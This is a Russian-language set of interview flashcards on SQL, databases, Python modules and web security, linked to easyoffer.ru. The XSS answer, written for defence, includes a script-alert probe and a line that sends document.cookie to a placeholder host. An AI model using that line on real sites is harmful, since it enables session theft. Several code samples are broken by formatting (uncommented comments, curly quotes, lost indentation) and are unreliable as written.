  • LEFT JOIN (или LEFT OUTER JOIN) выбирает все строки из левой таблицы (employees в нашем случае) и соответствующие строки из правой таблицы (departments). Если совпадений в правой таблице нет, результат будет содержать NULL на месте столбцов правой таблицы.
  • RIGHT JOIN (или RIGHT OUTER JOIN) работает как LEFT JOIN, но выбирает все строки из правой таблицы и соответствующие строки из левой.
  • FULL JOIN (или FULL OUTER JOIN) выбирает строки, если есть совпадение хотя бы в одной из таблиц.
    Пример с LEFT JOIN
SELECT employees.employee_name, departments.department_name
FROM employees
LEFT JOIN departments ON employees.department_id = departments.department_id;

Этот запрос выберет всех сотрудников, включая тех, кто не приписан ни к одному отделу, с NULL в качестве department_name для таких сотрудников.

Использование JOIN в запросах позволяет эффективно извлекать связанные данные из нескольких таблиц.

Чтобы выбрать данные из двух таблиц в одном запросе, используйте оператор JOIN, указав условие соединения, чтобы указать, как строки из одной таблицы связаны со строками из другой таблицы. Это позволит вам эффективно извлекать и объединять данные из разных частей вашей базы данных.

https://easyoffer.ru/question/304

78
Q

Чем отличается RIGHT, LEFT, INNER, JOIN

3

A

JOIN используется для объединения строк из двух или более таблиц, основываясь на связанных между ними столбцах. Различные его типы обеспечивают разные способы выбора и объединения данных из таблиц. Рассмотрим основные отличия между ними.

INNER JOIN

Выбирает только те строки из обеих таблиц, которые удовлетворяют условию соединения. Если строка из одной таблицы не имеет соответствующей строки в другой таблице, она не будет включена в результат.

SELECT Orders.OrderID, Customers.CustomerName
FROM Orders
INNER JOIN Customers ON Orders.CustomerID = Customers.CustomerID;
Этот запрос вернет только те заказы, для которых найдены соответствующие клиенты.

LEFT JOIN (или LEFT OUTER JOIN)

Возвращает все строки из левой таблицы (таблицы, указанной перед JOIN), а также соответствующие строки из правой таблицы (таблицы, указанной после JOIN). Если совпадение в правой таблице не найдено, результат будет содержать NULL в столбцах правой таблицы для этих строк.

SELECT Orders.OrderID, Customers.CustomerName
FROM Orders
LEFT JOIN Customers ON Orders.CustomerID = Customers.CustomerID;
Здесь мы получим все заказы, включая те, для которых нет соответствующих клиентов.

RIGHT JOIN (или RIGHT OUTER JOIN)

Работает как LEFT JOIN, но возвращает все строки из правой таблицы, а соответствующие строки из левой таблицы. Если совпадение в левой таблице не найдено, результат будет содержать NULL в столбцах левой таблицы для этих строк.

SELECT Orders.OrderID, Customers.CustomerName
FROM Orders
RIGHT JOIN Customers ON Orders.CustomerID = Customers.CustomerID;
Этот запрос вернет всех клиентов, включая тех, у кого нет заказов.

FULL JOIN (или FULL OUTER JOIN)

Объединяет LEFT JOIN и RIGHT JOIN, возвращая все строки из обеих таблиц. Если нет соответствия между строками таблиц, то в результате появляются NULL значения для отсутствующих сторон.

SELECT Orders.OrderID, Customers.CustomerName
FROM Orders
FULL JOIN Customers ON Orders.CustomerID = Customers.CustomerID;
Этот запрос вернет все заказы и всех клиентов, заполняя пропуски NULL значениями там, где нет совпадений.

INNER JOIN возвращает только строки с совпадениями в обеих таблицах.
LEFT JOIN возвращает все строки из левой таблицы и соответствующие строки из правой таблицы, заполняя пропуски NULL значениями.
RIGHT JOIN возвращает все строки из правой таблицы и соответствующие строки из левой таблицы, аналогично заполняя пропуски.
FULL JOIN возвращает все строки из обеих таблиц, заполняя пропуски NULL значениями, если совпадения отсутствуют.
Выбор типа JOIN зависит от того, какие данные вы хотите получить в результате запроса.

https://easyoffer.ru/question/305

79
Q

Какая разница между базами данных MySQL и NoSQL

3

A

Разница между базами данных MySQL и NoSQL касается подходов к хранению, обработке и управлению данными. MySQL является реляционной базой данных (RDBMS), тогда как NoSQL описывает широкий класс не реляционных систем управления базами данных, каждый из которых разработан для специфических требований и типов данных. Давайте рассмотрим ключевые различия.

Схема данных и модель

  • MySQL: Использует строгую схему данных с таблицами, строками, столбцами и внешними ключами для управления отношениями между данными. Изменение схемы требует заранее определенных изменений и может включать перерыв в доступности.
  • NoSQL: Базы данных, такие как документоориентированные (MongoDB), ключ-значение (Redis), графовые (Neo4j), и ширококолоночные (Cassandra), предлагают гибкость в управлении данными. Они позволяют хранить данные в формате, наиболее подходящем для конкретных требований приложения, без строгой схемы.

Масштабируемость

  • MySQL: Традиционно оптимизирована для вертикального масштабирования, увеличивая мощность одного сервера (CPU, RAM, SSD).
  • NoSQL: Разработана с учетом горизонтального масштабирования, позволяя распределить данные по множеству серверов для обработки большого объема данных и высокой производительности.

Транзакции

  • MySQL: Поддерживает транзакции с ACID (Атомарность, Согласованность, Изоляция, Долговечность), что делает ее идеальной для приложений, требующих строгой согласованности данных.
  • NoSQL: Большинство баз NoSQL предлагают консистенцию на уровне “в конечном счете” (eventual consistency) и могут не полностью поддерживать свойства ACID, что делает их хорошим выбором для приложений, где приемлема некоторая степень неконсистенции данных в обмен на скорость и масштабируемость.

Запросы

  • MySQL: Использует стандартизированный язык запросов SQL для управления данными, что делает запросы мощными и гибкими, но требует знания синтаксиса SQL.
  • NoSQL: Методы запросов могут сильно различаться в зависимости от типа NoSQL базы данных. Некоторые используют SQL-подобный язык запросов, другие предлагают API для взаимодействия с данными.

Использование

  • MySQL: Идеально подходит для приложений, требующих сложных запросов, транзакций и точной согласованности данных, например, финансовые системы, системы управления товарами и другие.
  • NoSQL: Лучше всего подходит для приложений с большими объемами распределенных данных, которые требуют быстрого доступа и гибкой схемы данных, например, большие веб-приложения, системы реального времени, аналитические приложения.

Выбор между MySQL и NoSQL зависит от конкретных требований приложения. Если вам нужна строгая схема данных, сложные транзакции и точная согласованность, предпочтительнее MySQL. Для приложений, требующих гибкости схемы, способности к быстрому масштабированию и обработке больших объемов данных, лучше подойдут базы данных NoSQL.

https://easyoffer.ru/question/306

80
Q

Как бы сохранял данные после парсинга в базу данных

3

A

Сохранение данных после парсинга в базу данных — это распространенная задача в разработке ПО, особенно когда речь идет о сборе данных из различных источников, таких как веб-страницы, файлы или API. Процесс включает в себя несколько шагов, включая парсинг данных, их очистку и структурирование, а затем сохранение в базу данных. Давайте рассмотрим общий подход к решению этой задачи.

Шаг 1: Парсинг данных

Первым делом необходимо извлечь данные из источника. Это может быть выполнено с помощью различных библиотек в зависимости от типа источника данных. Например, для парсинга HTML можно использовать BeautifulSoup, а для работы с JSON-ответами от API подойдет встроенный модуль json.

import requests
from bs4 import BeautifulSoup

Пример парсинга HTML
url = 'https://example.com'
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')

Извлекаем необходимые данные
data = soup.find_all('tag_name', class_='class_name')

Шаг 2: Очистка и структурирование данных

После того как данные извлечены, их часто необходимо очистить и структурировать, то есть преобразовать в формат, удобный для сохранения в базе данных. Это может включать удаление лишних пробелов, преобразование типов данных, разбиение строк на компоненты и так далее.

# Пример очистки и структурирования данных
cleaned_data = []
for item in data:
    cleaned_item = {
        'title': item.get_text().strip(),
        'link': item['href']
    }
    cleaned_data.append(cleaned_item)

Шаг 3: Сохранение данных в базу данных

Предполагая, что вы используете реляционную базу данных, такую как MySQL, и у вас уже есть подготовленная база данных и таблица для хранения данных, вы можете использовать библиотеку pymysql или sqlite3 для SQLite для взаимодействия с базой данных.

import pymysql

Параметры подключения к базе данных
connection = pymysql.connect(host='hostname',
                             user='username',
                             password='password',
                             database='dbname',
                             charset='utf8mb4',
                             cursorclass=pymysql.cursors.DictCursor)

try:
    with connection.cursor() as cursor:
        # Создаем SQL запрос на вставку данных
        sql = "INSERT INTO `table_name` (`title`, `link`) VALUES (%s, %s)"
        for item in cleaned_data:
            cursor.execute(sql, (item['title'], item['link']))
    
    # Сохраняем изменения
    connection.commit()

finally:
    connection.close()

Этот код устанавливает соединение с базой данных, создает SQL-запрос для вставки данных и выполняет этот запрос для каждого элемента в списке cleaned_data. После вставки всех данных соединение закрывается.

Сохранение данных после парсинга в базу данных включает в себя извлечение данных из источника, их очистку и структурирование, а затем вставку в базу данных с использованием соответствующего API или библиотеки для работы с выбранной СУБД. Примеры кода, приведенные выше, демонстрируют общий процесс, который можно адаптировать под конкретные задачи и источники данных.

https://easyoffer.ru/question/307

81
Q

Какие связи с моделями в БД знаешь

3

A

В базах данных и при проектировании систем на основе реляционных баз данных существуют различные типы связей между таблицами (или моделями в контексте объектно-ориентированного программирования). Эти связи помогают определить структуру базы данных и обеспечивают эффективное хранение, поиск и управление данными. Основные типы связей между моделями:

  1. Один к одному (One-to-One)

Связь существует, когда одна запись в таблице А соответствует ровно одной записи в таблице B, и наоборот. Этот тип связи часто используется для разделения одной большой таблицы на несколько меньших для улучшения организации данных и повышения эффективности.

Пример: Пользователь и его паспортные данные. У каждого пользователя может быть только один паспорт, и каждые паспортные данные принадлежат одному пользователю.

  1. Один ко многим (One-to-Many)

Связь является наиболее распространенным типом связи. Она существует, когда одна запись в таблице А может быть связана с одной или несколькими записями в таблице B, но одна запись в таблице B связана только с одной записью в таблице А.

Пример: Автор и книги. Один автор может написать несколько книг, но каждая книга имеет только одного автора.

  1. Многие ко многим (Many-to-Many)

Связь существует, когда множество записей в таблице А могут быть связаны с множеством записей в таблице B. Этот тип связи обычно реализуется с помощью третьей таблицы, называемой таблицей связи (или ассоциативной таблицей), которая содержит внешние ключи, ссылающиеся на связанные таблицы.

Пример: Студенты и курсы. Студент может записаться на множество курсов, и каждый курс может быть выбран множеством студентов.

Специализированные типы связей:

Самосвязь (Self-Referencing Relationship): Когда таблица связана сама с собой. Например, в таблице сотрудников, где каждый сотрудник может быть менеджером других сотрудников.
Каскадное удаление (Cascade Delete): Опция во внешних ключах, позволяющая автоматически удалять связанные записи при удалении основной записи, чтобы поддерживать целостность данных.
Выбор типа связи зависит от специфики данных и требований к структуре базы данных. Правильно спроектированные связи между таблицами облегчают манипуляцию данными и обеспечивают их целостность.

https://easyoffer.ru/question/308

82
Q

Приходилось ли ранее писать вручную запросы SQL

3%

A

https://youtu.be/EtVt0OtppQI?t=841

https://easyoffer.ru/question/309

83
Q

Есть ли диалекты в SQL

3

A

В SQL существуют различные диалекты. SQL (Structured Query Language) — это стандартизированный язык запросов для работы с реляционными базами данных, но каждая система управления базами данных (СУБД), вносит свои расширения и модификации в стандарт SQL. Эти модификации и расширения и составляют диалект, специфичный для каждой СУБД. Диалекты различаются между собой синтаксисом запросов, функциями, типами данных и другими аспектами работы с базами данных.

Основные отличия диалектов

  • Синтаксис: Несмотря на общую основу, синтаксис запросов может отличаться. Например, пагинация результатов в MySQL использует ключевые слова LIMIT и OFFSET, тогда как в Oracle для этого до версии 12c использовался синтаксис с ROWNUM, а начиная с 12c — FETCH FIRST и OFFSET.
  • Функции: Каждая СУБД предлагает свой набор функций для работы с данными. Например, функции для работы со строками, датами или агрегации могут отличаться по названию и поведению.
  • Типы данных: Диалекты могут поддерживать разные типы данных или одинаковые типы с разными названиями. Например, тип данных для автоматически увеличивающегося идентификатора называется AUTO_INCREMENT в MySQL и SERIAL в PostgreSQL.
  • Расширения: Некоторые СУБД предлагают уникальные расширения. К примеру, PostgreSQL поддерживает массивы и JSON как встроенные типы данных, а также предоставляет обширные возможности для работы с географическими данными через PostGIS.
  • Транзакции и управление: Диалекты также могут отличаться поддержкой и синтаксисом транзакций, уровней изоляции транзакций и управления версиями.

Важность понимания диалектов

Важно понимать особенности диалекта SQL той СУБД, с которой они работают, чтобы максимально эффективно использовать ее возможности и избегать потенциальных проблем. Несмотря на стандарты, различия в диалектах могут существенно влиять на проектирование, оптимизацию и поддержку баз данных.

Хотя все СУБД используют SQL как основу для работы с реляционными данными, различия в диалектах делают каждую СУБД уникальной, предоставляя разработчикам широкий спектр инструментов и функций для решения специфических задач.

https://easyoffer.ru/question/310

84
Q

Каким образом происходит редактирование реляционных БД Какой язык используется для этого

3

A

Редактирование реляционных баз данных включает в себя операции вставки, обновления и удаления данных, а также изменения структуры самих баз данных, такие как создание и модификация таблиц, добавление индексов и т. д. Для этих целей используется SQL.

Операции с данными

Вставка данных (INSERT): Добавляет новые строки в таблицу.
INSERT INTO таблица (столбец1, столбец2, ...) VALUES (значение1, значение2, ...);
Обновление данных (UPDATE): Модифицирует существующие строки в таблице.
UPDATE таблица SET столбец1 = значение1, столбец2 = значение2 WHERE условие;
Удаление данных (DELETE): Удаляет строки из таблицы.
` DELETE FROM таблица WHERE условие;`

Изменение структуры базы данных

Создание таблиц (CREATE TABLE): Определяет новую таблицу и её структуру.
CREATE TABLE таблица (столбец1 тип_данных [ограничение], ...);
Изменение таблиц (ALTER TABLE): Изменяет структуру существующей таблицы, например, добавляет или удаляет столбцы, изменяет тип данных столбца.
```
ALTER TABLE таблица ADD столбец тип_данных;
ALTER TABLE таблица DROP COLUMN столбец;
~~~
Удаление таблиц (DROP TABLE): Удаляет таблицу и все её данные.
DROP TABLE таблица;

Транзакции

Транзакции используются для управления изменениями, обеспечивая их атомарность, согласованность, изолированность и долговечность (ACID). Транзакции позволяют группировать несколько операций в одну единицу работы, которая либо полностью выполняется, либо полностью откатывается.

START TRANSACTION; -- или BEGIN;
-- SQL команды
COMMIT; -- для подтверждения изменений
ROLLBACK; -- для отката изменений

Преимущества SQL

  • Стандартизация: Является стандартом ANSI и ISO, что обеспечивает его поддержку большинством реляционных СУБД.
  • Универсальность: Позволяет выполнять широкий спектр операций — от простого извлечения данных до сложных аналитических запросов и управления структурой баз данных.
  • Мощность: С помощью него можно эффективно работать с большими объемами данных, используя сложные запросы и объединения таблиц.

SQL является основным языком для редактирования и управления реляционными базами данных, предоставляя мощные средства для манипуляции данными и структурой базы данных.

https://easyoffer.ru/question/311

85
Q

В чем разница между SQL lite и Express SQL

3%

A

SQLite и SQL Server Express — это две различные системы управления базами данных (СУБД), каждая со своими особенностями, преимуществами и предназначением.

SQLite

Это легковесная, встраиваемая реляционная база данных. Она не требует отдельного серверного процесса или системы для управления базами данных. Она читает и пишет прямо в обычные файлы на диске. Каждая база данных представляет собой один файл на файловой системе, что делает ее идеальным выбором для устройств с ограниченными ресурсами, мобильных приложений, приложений для персональных компьютеров и для ситуаций, когда требуется простая база данных без дополнительных затрат на настройку сервера.

Особенности SQLite:

  • Не требует отдельного сервера.
  • Очень маленький размер, идеален для встраивания в приложения.
  • Поддерживает большинство стандартных функций SQL.
  • Мультиплатформенность.

SQL Server Express

Это бесплатная версия Microsoft SQL Server, облегченная версия коммерческого продукта, предназначенная для малых приложений и разработчиков. Она предоставляет мощные возможности управления реляционными данными, поддержку транзакций, процедур, функций, триггеров и многого другого. В отличие от SQLite, она требует установки и запуска сервиса на компьютере или сервере.

Особенности SQL Server Express:

  • Бесплатная версия полнофункционального сервера баз данных.
  • Требует установки и настройки сервера.
  • Поддерживает расширенные функции SQL, включая хранимые процедуры, триггеры и функции.
  • Имеет ограничения по размеру базы данных (до 10 ГБ на базу данных) и используемым ресурсам (например, ограничение использования ОЗУ и CPU).

Ключевые различия:

  • Встраиваемость против серверной архитектуры: SQLite — встраиваемая СУБД, которая не требует отдельного серверного процесса, в то время как SQL Server Express требует установки сервера.
  • Простота против функциональности: SQLite предназначена для простоты и легковесности, в то время как SQL Server Express предлагает более широкий спектр функций для более сложных приложений.
  • Размер и ресурсы: SQLite занимает мало места и ресурсов, что делает ее идеальной для приложений, где эти параметры критичны. SQL Server Express, несмотря на свои ограничения по сравнению с полной версией SQL Server, все же потребляет больше ресурсов и предназначен для более требовательных приложений.

Выбор между SQLite и SQL Server Express зависит от конкретных требований проекта, включая размер и сложность приложения, доступные ресурсы и предпочтения в управлении данными.

https://easyoffer.ru/question/312

86
Q

Что такое CGI. Плюсы, минусы

3

A

CGI, или Common Gateway Interface, — это стандарт, который используется для обеспечения взаимодействия веб-сервера с внешними программами, которые могут выполняться на сервере. Эти внешние программы могут быть написаны на различных языках программирования. Основная цель — передача данных от пользователя (через веб-формы, например) к программам, которые эти данные обрабатывают, и возвращение результатов обратно пользователю через веб-страницу.

Плюсы CGI:

  1. Универсальность: Эти скрипты могут быть написаны на множестве языков программирования, что дает свободу выбора инструментов.
  2. Простота использования: Для создания и запуска данных скриптов не требуется сложная инфраструктура или дополнительное программное обеспечение.
  3. Независимость: Эти скрипты работают независимо от сервера, что обеспечивает их портативность и легкость в развертывании на разных платформах.

Минусы CGI:

  1. Масштабируемость и производительность: Каждый раз, когда выполняется этот скрипт, сервер создает новый процесс (или поток), что может сильно нагружать систему при большом количестве запросов.
  2. Безопасность: Поскольку эти скрипты часто имеют прямой доступ к системным ресурсам, они могут представлять собой потенциальную угрозу безопасности, если не будут написаны с соблюдением всех мер предосторожности.
  3. Ограниченная интеграция: Взаимодействие этих скриптов с веб-сервером ограничивается стандартным интерфейсом, что может затруднять реализацию сложных веб-приложений с высокой степенью интеграции.

Пример использования CGI:

  • # !/usr/bin/env python
  • print(“Content-Type: text/html”) # Заголовок HTTP
  • print() # Пустая строка, окончание заголовков
  • print(“<h1>Hello, CGI!</h1>”) # Тело ответа, HTML

Этот простой скрипт демонстрирует, как можно использовать CGI для генерации динамического содержимого веб-страницы. Скрипт выводит заголовок HTTP, за которым следует пустая строка (разделитель заголовков и тела сообщения), а затем HTML-код страницы.

CGI — это стандарт для взаимодействия веб-сервера с внешними программами, позволяющий создавать динамические веб-страницы. Его главные преимущества — универсальность и простота использования, но при этом он может страдать от проблем с производительностью и безопасностью при обработке большого количества запросов.

CGI это способ заставить сайт работать с программами на сервере, чтобы сайт мог отвечать по-разному, в зависимости от того, что пользователь делает. Но если на сайт заходит много людей, это может создать проблемы с быстродействием.

https://easyoffer.ru/question/324

87
Q

Как защитить куки от воровства и от подделки

3

A

Защита кукис (cookies) от воровства и подделки является важной задачей в обеспечении безопасности веб-приложений. Куки — это небольшие фрагменты данных, которые веб-сайты сохраняют на компьютере пользователя для хранения информации о сессии, предпочтениях пользователя и других данных, которые могут использоваться для персонализации и улучшения взаимодействия пользователя с сайтом. Вот несколько методов, которые помогут обеспечить их безопасность:

  1. Использование флага Secure
    Указывает браузеру отправлять куки только через защищенное соединение (HTTPS). Это помогает предотвратить перехват куки атакующими при передаче данных по нешифрованному соединению.
  2. Установка флага HttpOnly
    Делает куки недоступными для доступа через клиентские скрипты, например, JavaScript. Это снижает риск кражи куки через скриптовые атаки, такие как XSS (межсайтовый скриптинг).
  3. Использование флага SameSite
    Позволяет ограничить отправку куки при кросс-доменных запросах. Это помогает защититься от атак CSRF (межсайтовая подделка запроса), предотвращая отправку куки на вредоносные сайты.
  4. Установка сроков жизни куки
    Помогает снизить риск их неправомерного использования. Куки, необходимые для аутентификации и сессии, должны иметь как можно более короткий срок жизни.
  5. Шифрование значений куки
    Для защиты конфиденциальной информации, хранящейся в куки, рекомендуется использовать шифрование. Это гарантирует, что даже в случае перехвата куки злоумышленникам будет сложно извлечь из них полезную информацию.

Примеры:

Установка безопасных куки в Python (Flask):
~~~
from flask import Flask, make_response

app = Flask(__name__)

@app.route(‘/’)
def index():
resp = make_response(“Установка безопасного куки”)
resp.set_cookie(‘secure_cookie’, ‘значение’, secure=True, httponly=True, samesite=’Lax’)
return resp
~~~

Шифрование данных перед сохранением в куки:
Для шифрования можно использовать различные библиотеки, например, cryptography в Python, чтобы шифровать и дешифровать данные куки.

Защита куки от воровства и подделки требует комплексного подхода, включая использование флагов Secure, HttpOnly и SameSite, ограничение срока жизни куки и шифрование их содержимого. Эти меры помогут обеспечить безопасность ваших данных и защиту ваших пользователей от различных видов атак.

Чтобы защитить куки на вашем сайте, сделайте их доступными только через безопасное соединение, не позволяйте скриптам их читать, ограничивайте их действие только вашим сайтом, ставьте короткий срок действия и используйте шифрование. Это поможет защитить информацию пользователей от плохих людей.

https://easyoffer.ru/question/325

88
Q

Какая разница между аутентификацией и авторизацией

3%

A

Аутентификация и авторизация — это два различных процесса управления доступом в системе безопасности, которые часто путают, но каждый из них играет свою уникальную роль.

Аутентификация
Это процесс проверки удостоверения пользователя, то есть подтверждение его личности. Это первый шаг в процессе управления доступом, который удостоверяет, что пользователь действительно является тем, за кого себя выдает. Она может происходить разными способами, например, через ввод пароля, сканирование отпечатка пальца, распознавание лица, использование электронных ключей или одноразовых кодов. Основная цель аутентификации — убедиться в подлинности пользователя перед предоставлением доступа к системе или приложению.

# Пример простой формы аутентификации пользователя
def authenticate(username, password):
    if username == "user" and password == "secret":
        return True
    else:
        return False

Проверка учетных данных пользователя
if authenticate("user", "secret"):
    print("Аутентификация успешна.")
else:
    print("Ошибка аутентификации.")

Авторизация
Это процесс определения прав и привилегий пользователя, то есть что именно пользователь может делать в системе после успешной аутентификации. Это включает в себя доступ к различным ресурсам, таким как файлы, данные, функции и прочее. Она определяет, какие действия разрешены пользователю, основываясь на его ролях или политиках безопасности. Важно отметить, что процесс авторизации всегда следует за аутентификацией.

# Пример проверки прав пользователя на доступ к ресурсу
def authorize(user, action):
    permissions = {"user": ["read"], "admin": ["read", "write", "delete"]}
    return action in permissions.get(user.role, [])

Проверка прав пользователя
if authorize(user, "write"):
    print("Доступ к действию разрешен.")
else:
    print("Доступ к действию запрещен.")

Ключевое отличие между аутентификацией и авторизацией заключается в том, что аутентификация проверяет, кто вы, а авторизация определяет, что вы можете делать. Аутентификация — это о вашей личности, авторизация — о ваших правах доступа.

Если мы представим ваш дом, то аутентификация — это когда вы используете ключ, чтобы открыть дверь и войти в дом (система узнает вас). Авторизация — это когда после входа в дом вы можете открыть только те комнаты, куда вам разрешено (система знает, что вы можете делать внутри).

https://easyoffer.ru/question/326

89
Q

Что такое XSS. Примеры. Как защитить приложение

3%

A

XSS (Cross-Site Scripting) — это вид атаки на веб-приложения, при котором злоумышленник внедряет вредоносные скрипты в контент веб-страниц, просматриваемых другими пользователями. Эти скрипты выполняются в браузере жертвы от имени веб-приложения, что может привести к краже учетных данных, сессий, изменению веб-страниц и другим безопасностным угрозам.

  1. Отраженный XSS (Reflected XSS): Злоумышленник отправляет жертве ссылку с вредоносным кодом в параметрах запроса. Когда жертва переходит по ссылке, вредоносный код отражается от сервера в ответе и выполняется в браузере.Пример ссылки: http://example.com/search?query=<script>alert('XSS')</script>
  2. Сохраненный XSS (Stored XSS): Вредоносный скрипт сохраняется на сервере (например, в базе данных) и возвращается и выполняется в браузере каждого, кто просматривает зараженный контент. Это может произойти, если злоумышленник добавляет скрипт в комментарии на форуме, который не фильтрует вредоносный код.Пример комментария: <script>alert('XSS')</script>
  3. DOM-based XSS: Этот тип XSS происходит, когда вредоносный скрипт изменяет DOM (структуру документа) веб-страницы с помощью клиентского, не отправляя вредоносный код на сервер.Пример: document.location.href = 'http://malicious.com/?cookie=' + document.cookie;

Защита от XSS:

  1. Экранирование ввода пользователя: Преобразование специальных символов (например, <, >, &, " и ') в их HTML-энтити (например, &lt;, &gt;, &amp;, &quot; и &#x27;) при отображении их на веб-странице. Это предотвращает интерпретацию введенных данных как часть HTML или JavaScript.
  2. Использование Content Security Policy (CSP): Позволяет веб-приложениям указывать, какие источники контента разрешены для загрузки и выполнения, что помогает предотвратить выполнение вредоносных скриптов.
  3. Валидация и санитизация данных: Строгая проверка вводимых данных на соответствие ожидаемому формату и очистка данных от потенциально опасных элементов перед их обработкой или сохранением.
  4. Использование автоматических инструментов защиты: Фреймворки и библиотеки часто предлагают встроенные механизмы для защиты от XSS, такие как автоматическое экранирование вывода.
from flask import Flask, request, escape

app = Flask(\_\_name\_\_)

@app.route('/search')
def search():
    query = request.args.get('query', '')
    # Экранирование строки запроса для безопасного отображения
    safe_query = escape(query)
    return f'Результаты поиска для: {safe_query}'

if \_\_name\_\_ == '\_\_main\_\_':
    app.run()

В этом примере, используя функцию escape из Flask, мы экранируем пользовательский ввод, чтобы предотвратить выполнение вредоносного кода, который мог бы быть встроен в запрос.

XSS — это серьезная угроза безопасности веб-приложений, позволяющая злоумышленникам выполнять вредоносные скрипты в браузерах пользователей. Для защиты от XSS необходимо экранировать ввод пользователя, использовать CSP, проводить валидацию и санитизацию данных, а также применять встроенные средства защиты веб-фреймворков.

XSS — это когда плохие люди вставляют в сайты вредоносные программы, чтобы украсть ваши данные или сделать что-то плохое. Защититься можно, делая специальные проверки данных, которые люди вводят на сайт, и не позволяя этим программам запускаться.

https://easyoffer.ru/question/327

90
Q

Как можно получить имя модуля

3

A

Имя текущего модуля можно получить с помощью переменной \_\_name\_\_. Когда запускается файл напрямую, значение \_\_name\_\_ устанавливается в "\_\_main\_\_". Если же файл импортируется как модуль в другой скрипт, \_\_name\_\_ будет содержать имя этого модуля, то есть имя файла без расширения .py.

Эта особенность часто используется для создания кода, который меняет свое поведение в зависимости от того, запущен ли файл как скрипт или импортирован как модуль. Например, код ниже выполнит функцию main() только в том случае, если файл запущен напрямую:

def main():
    print("Эта функция запущена напрямую")

if \_\_name\_\_ == "\_\_main\_\_":
    main()

Если же вам нужно узнать имя модуля внутри которого находится текущий код, но при этом это не главный исполняемый файл, вы можете просто использовать \_\_name\_\_ без условия:

# предположим, что этот код находится в файле some_module.py
print(\_\_name\_\_)  # Выведет "some_module", если этот файл импортирован

Для получения более подробной информации о модуле, включая его имя, можно также использовать модуль inspect:

import inspect

def get_current_module_name():
    return inspect.getmodulename(\_\_file\_\_)

print(get_current_module_name())

Этот метод возвращает имя текущего модуля, основываясь на имени файла, в котором он находится.

\_\_name\_\_ используется для определения того, как запущен скрипт — как главный файл или как импортированный модуль, и может помочь в создании кода, адаптируемого к обоим ситуациям. inspect.getmodulename() помогает получить имя модуля напрямую, основываясь на файле, что может быть полезно в разных сценариях использования.

Если вы хотите знать, как называется “коробочка” (модуль), в которой вы сейчас “сидите”, Python позволяет это узнать. Когда вы запускаете программу, говорит, что вы в “главной коробочке”, используя специальное имя \_\_main\_\_. Если ваша “коробочка” находится внутри другой, то говорит вам ее настоящее имя, например some_module. Это помогает программе вести себя по-разному, в зависимости от того, где она находится.

https://easyoffer.ru/question/328

91
Q

Что такое модульное программирование

3

A

Модульное программирование — это подход к разработке ПО, который включает разбиение больших и сложных программ на отдельные, независимые части, называемые модулями. Каждый модуль выполняет уникальную функцию и может быть разработан, тестирован и отлажен отдельно от остальной части программы. Затем они могут быть повторно использованы в разных частях программы или даже в разных программах.

Преимущества:
1. Упрощение понимания: Разбивка программы на модули помогает упростить понимание структуры и работы программы, поскольку разработчики могут сосредоточиться на одном модуле за раз.
2. Улучшение управляемости: Модули можно разрабатывать и тестировать независимо, что упрощает управление проектом.
3. Повышение переиспользования кода: Модули, выполняющие общие задачи, могут быть использованы в различных проектах без необходимости их повторного написания.
4. Упрощение тестирования и отладки: Тестирование и отладка меньших модулей гораздо проще, чем больших программ.
5. Гибкость в разработке: Разные модули могут быть разработаны параллельно разными командами или индивидуальными разработчиками.

Пример:
Активно поддерживает его, позволяя разработчикам импортировать и использовать модули в своих программах. Например, если вы разрабатываете веб-приложение, вы можете разделить его на модули: один модуль для работы с базой данных, другой для обработки запросов пользователей, третий для рендеринга HTML-страниц и т.д.

# db.py - модуль для работы с базой данных
def get_user(user_id):
    # Код для извлечения пользователя из базы данных
    pass

auth.py - модуль для аутентификации пользователей
def authenticate(username, password):
    # Код для аутентификации пользователя
    pass

main.py - основной модуль, использующий другие модули
import db
import auth

user = db.get_user(1)
if auth.authenticate(user['username'], user['password']):
    print("Аутентификация прошла успешно")
else:
    print("Ошибка аутентификации")

В этом примере, разделяя функциональность на модули, вы упрощаете понимание и поддержку каждой части программы, а также повышаете переиспользование кода.

Модульное программирование — это эффективный способ разработки ПО, который облегчает понимание, тестирование, отладку и поддержку программ, а также способствует переиспользованию кода. Оно предполагает разбиение программы на независимые модули, каждый из которых выполняет определенную функцию.

Модульное программирование — это как строительство из конструктора Лего, где каждый кусочек или блок — это отдельный модуль, который что-то делает. Эти блоки можно сочетать разными способами, чтобы собрать что-то большое и сложное, но при этом легко менять и исправлять маленькие части, не разбирая всю конструкцию.

https://easyoffer.ru/question/329

92
Q

Как Python ищет модули при импорте

3

A

При импортировании модулей интерпретатор Python ищет их в директориях и архивах, список которых доступен как для чтения, так и для модификации в виде переменной path встроенного модуля sys. По умолчанию sys.path состоит из директории с запускаемым скриптом, содержимого переменной окружения PYTHONPATH и стандартного расположения модулей, специфичного для конкретной платформы и интерпретатора.

https://easyoffer.ru/question/330

93
Q

Что можете сказать о конструкции import package.item

3

A

При использовании оператора from package import item, item может быть пакетом, модулем или любым именем, описанным в пакете.
При использовании оператора import package.item, item должен быть модулем или пакетом.

https://easyoffer.ru/question/331

94
Q

Для чего нужны миксины

3

A

https://easyoffer.ru/question/351

95
Q

Какие есть методы чтобы реализовать протокол итерирования данных

3

A

https://easyoffer.ru/question/352

96
Q

В чем разница между необъектом и объектом

3

A

https://easyoffer.ru/question/353

97
Q

Что такое утиная типизация

3

A

Неявная типизация, латентная типизация или утиная типизация (англ. Duck typing) – вид динамической типизации, применяемой в некоторых языках программирования (Perl, Smalltalk, Python, Objective-C, Ruby, JavaScript, Groovy, ColdFusion, Boo, Lua, Go, C#), когда границы использования объекта определяются его текущим набором методов и свойств, в противоположность наследованию от определённого класса. То есть считается, что объект реализует интерфейс, если он содержит все методы этого интерфейса, независимо от связей в иерархии наследования и принадлежности к какому-либо конкретному классу.

Утиная типизация решает такие проблемы иерархической типизации, как:

  • невозможность явно указать (путём наследования) на совместимость интерфейса со всеми настоящими и будущими интерфейсами, с которыми он идейно совместим;
  • экспоненциальное увеличение числа связей в иерархии типов при хотя бы частичной попытке это сделать.

https://easyoffer.ru/question/354

98
Q

Как можно проверить что объект класса является потомком

3

A

https://easyoffer.ru/question/355